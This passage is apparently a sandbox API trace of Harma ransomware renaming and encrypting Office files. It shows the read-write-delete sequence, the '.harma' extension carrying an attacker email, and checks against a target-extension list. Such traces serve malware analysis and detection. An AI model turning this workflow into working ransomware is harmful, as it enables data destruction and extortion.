office\\office14\\borders\\msart15.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.998] GetLastError () returned 0x0 [0167.998] ReadFile (in: hFile=0x21c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x6b14, lpOverlapped=0x0) returned 1 [0168.122] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6b20, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x6b20, lpOverlapped=0x0) returned 1 [0168.123] ReadFile (in: hFile=0x21c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.124] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0168.124] SetEndOfFile (hFile=0x3ac) returned 1 [0168.124] CloseHandle (hObject=0x3ac) returned 1 [0168.124] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.124] SetEndOfFile (hFile=0x21c) returned 1 [0168.127] CloseHandle (hObject=0x21c) returned 1 [0168.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 1 [0168.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.128] lstrlenW (lpString=".doc") returned 4 [0168.128] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.128] lstrlenW (lpString=".docx") returned 5 [0168.128] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0168.128] lstrlenW (lpString=".pdf") returned 4 [0168.128] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.128] lstrlenW (lpString=".xls") returned 4 [0168.128] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.128] lstrlenW (lpString=".xlsx") returned 5 [0168.128] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0168.128] lstrlenW (lpString=".ppt") returned 4 [0168.128] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.128] lstrlenW (lpString=".zip") returned 4 [0168.128] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.128] lstrlenW (lpString=".rar") returned 4 [0168.128] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.129] lstrlenW (lpString=".bz2") returned 4 [0168.129] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.129] lstrlenW (lpString=".7z") returned 3 [0168.129] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.129] lstrlenW (lpString=".dbf") returned 4 [0168.129] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.129] lstrlenW (lpString=".1cd") returned 4 [0168.129] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.129] lstrlenW (lpString=".jpg") returned 4 [0168.129] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.129] lstrlenW (lpString=".doc") returned 4 [0168.129] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.129] lstrlenW (lpString=".docx") returned 5 [0168.129] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0168.129] lstrlenW (lpString=".pdf") returned 4 [0168.129] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.129] lstrlenW (lpString=".xls") returned 4 [0168.129] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.129] lstrlenW (lpString=".xlsx") returned 5 [0168.129] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0168.129] lstrlenW (lpString=".ppt") returned 4 [0168.129] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.129] lstrlenW (lpString=".zip") returned 4 [0168.130] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.130] lstrlenW (lpString=".rar") returned 4 [0168.130] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.130] lstrlenW (lpString=".bz2") returned 4 [0168.130] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.130] lstrlenW (lpString=".7z") returned 3 [0168.130] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.130] lstrlenW (lpString=".dbf") returned 4 [0168.130] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.130] lstrlenW (lpString=".1cd") returned 4 [0168.130] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0168.130] lstrlenW (lpString=".jpg") returned 4 [0168.130] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.130] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0168.130] lstrlenW (lpString="MSART4.BDR") returned 10 [0168.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.131] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=14594) returned 1 [0168.131] CloseHandle (hObject=0x21c) returned 1 [0168.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 0x20 [0168.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.132] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.132] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.132] GetLastError () returned 0x0 [0168.132] ReadFile (in: hFile=0x21c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x3902, lpOverlapped=0x0) returned 1 [0168.214] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3910, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x3910, lpOverlapped=0x0) returned 1 [0168.215] ReadFile (in: hFile=0x21c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.216] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0168.216] SetEndOfFile (hFile=0x3ac) returned 1 [0168.216] CloseHandle (hObject=0x3ac) returned 1 [0168.216] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.216] SetEndOfFile (hFile=0x21c) returned 1 [0168.218] CloseHandle (hObject=0x21c) returned 1 [0168.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 1 [0168.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.284] lstrlenW (lpString=".doc") returned 4 [0168.284] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.284] lstrlenW (lpString=".docx") returned 5 [0168.284] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0168.284] lstrlenW (lpString=".pdf") returned 4 [0168.284] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.284] lstrlenW (lpString=".xls") returned 4 [0168.284] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.284] lstrlenW (lpString=".xlsx") returned 5 [0168.284] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0168.284] lstrlenW (lpString=".ppt") returned 4 [0168.284] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.284] lstrlenW (lpString=".zip") returned 4 [0168.284] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.284] lstrlenW (lpString=".rar") returned 4 [0168.284] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.284] lstrlenW (lpString=".bz2") returned 4 [0168.284] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.284] lstrlenW (lpString=".7z") returned 3 [0168.284] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.285] lstrlenW (lpString=".dbf") returned 4 [0168.285] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.285] lstrlenW (lpString=".1cd") returned 4 [0168.285] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.285] lstrlenW (lpString=".jpg") returned 4 [0168.285] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.285] lstrlenW (lpString=".doc") returned 4 [0168.285] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.285] lstrlenW (lpString=".docx") returned 5 [0168.285] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0168.285] lstrlenW (lpString=".pdf") returned 4 [0168.285] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.285] lstrlenW (lpString=".xls") returned 4 [0168.285] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.285] lstrlenW (lpString=".xlsx") returned 5 [0168.285] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0168.285] lstrlenW (lpString=".ppt") returned 4 [0168.285] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.285] lstrlenW (lpString=".zip") returned 4 [0168.285] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.285] lstrlenW (lpString=".rar") returned 4 [0168.285] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.285] lstrlenW (lpString=".bz2") returned 4 [0168.285] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.286] lstrlenW (lpString=".7z") returned 3 [0168.286] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.286] lstrlenW (lpString=".dbf") returned 4 [0168.286] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.286] lstrlenW (lpString=".1cd") returned 4 [0168.286] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0168.286] lstrlenW (lpString=".jpg") returned 4 [0168.286] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.286] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0168.286] lstrlenW (lpString="MSART7.BDR") returned 10 [0168.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.287] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=3876) returned 1 [0168.287] CloseHandle (hObject=0x384) returned 1 [0168.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 0x20 [0168.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.288] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.288] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0168.301] GetLastError () returned 0x0 [0168.301] ReadFile (in: hFile=0x384, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xf24, lpOverlapped=0x0) returned 1 [0168.441] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf30, lpOverlapped=0x0) returned 1 [0168.442] ReadFile (in: hFile=0x384, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.442] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0168.442] SetEndOfFile (hFile=0x390) returned 1 [0168.443] CloseHandle (hObject=0x390) returned 1 [0168.443] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.443] SetEndOfFile (hFile=0x384) returned 1 [0168.445] CloseHandle (hObject=0x384) returned 1 [0168.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 1 [0168.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.595] lstrlenW (lpString=".doc") returned 4 [0168.595] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.595] lstrlenW (lpString=".docx") returned 5 [0168.595] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1 [0168.595] lstrlenW (lpString=".pdf") returned 4 [0168.595] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.595] lstrlenW (lpString=".xls") returned 4 [0168.596] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.596] lstrlenW (lpString=".xlsx") returned 5 [0168.596] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1 [0168.596] lstrlenW (lpString=".ppt") returned 4 [0168.596] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.596] lstrlenW (lpString=".zip") returned 4 [0168.596] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.596] lstrlenW (lpString=".rar") returned 4 [0168.596] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.596] lstrlenW (lpString=".bz2") returned 4 [0168.596] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.596] lstrlenW (lpString=".7z") returned 3 [0168.596] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.596] lstrlenW (lpString=".dbf") returned 4 [0168.596] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.596] lstrlenW (lpString=".1cd") returned 4 [0168.596] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.596] lstrlenW (lpString=".jpg") returned 4 [0168.596] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.596] lstrlenW (lpString=".doc") returned 4 [0168.596] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.596] lstrlenW (lpString=".docx") returned 5 [0168.596] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1 [0168.597] lstrlenW (lpString=".pdf") returned 4 [0168.597] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.597] lstrlenW (lpString=".xls") returned 4 [0168.597] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.597] lstrlenW (lpString=".xlsx") returned 5 [0168.597] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1 [0168.597] lstrlenW (lpString=".ppt") returned 4 [0168.597] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.597] lstrlenW (lpString=".zip") returned 4 [0168.597] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.597] lstrlenW (lpString=".rar") returned 4 [0168.597] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.597] lstrlenW (lpString=".bz2") returned 4 [0168.597] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.597] lstrlenW (lpString=".7z") returned 3 [0168.597] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.597] lstrlenW (lpString=".dbf") returned 4 [0168.597] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.597] lstrlenW (lpString=".1cd") returned 4 [0168.597] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0168.597] lstrlenW (lpString=".jpg") returned 4 [0168.597] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.598] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0168.598] lstrlenW (lpString="CLVIEW.EXE") returned 10 [0168.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.630] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=270200) returned 1 [0168.630] CloseHandle (hObject=0x384) returned 1 [0168.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe")) returned 0x20 [0168.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.828] lstrlenW (lpString=".doc") returned 4 [0168.828] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0168.828] lstrlenW (lpString=".docx") returned 5 [0168.828] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1 [0168.828] lstrlenW (lpString=".pdf") returned 4 [0168.828] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0168.828] lstrlenW (lpString=".xls") returned 4 [0168.828] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0168.828] lstrlenW (lpString=".xlsx") returned 5 [0168.828] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1 [0168.828] lstrlenW (lpString=".ppt") returned 4 [0168.828] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0168.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.828] lstrlenW (lpString=".zip") returned 4 [0168.828] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0168.828] lstrlenW (lpString=".rar") returned 4 [0168.828] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0168.828] lstrlenW (lpString=".bz2") returned 4 [0168.828] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0168.828] lstrlenW (lpString=".7z") returned 3 [0168.828] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0168.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.828] lstrlenW (lpString=".dbf") returned 4 [0168.828] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0168.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0168.828] lstrlenW (lpString=".1cd") returned 4 [0168.828] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0168.828] lstrlenW 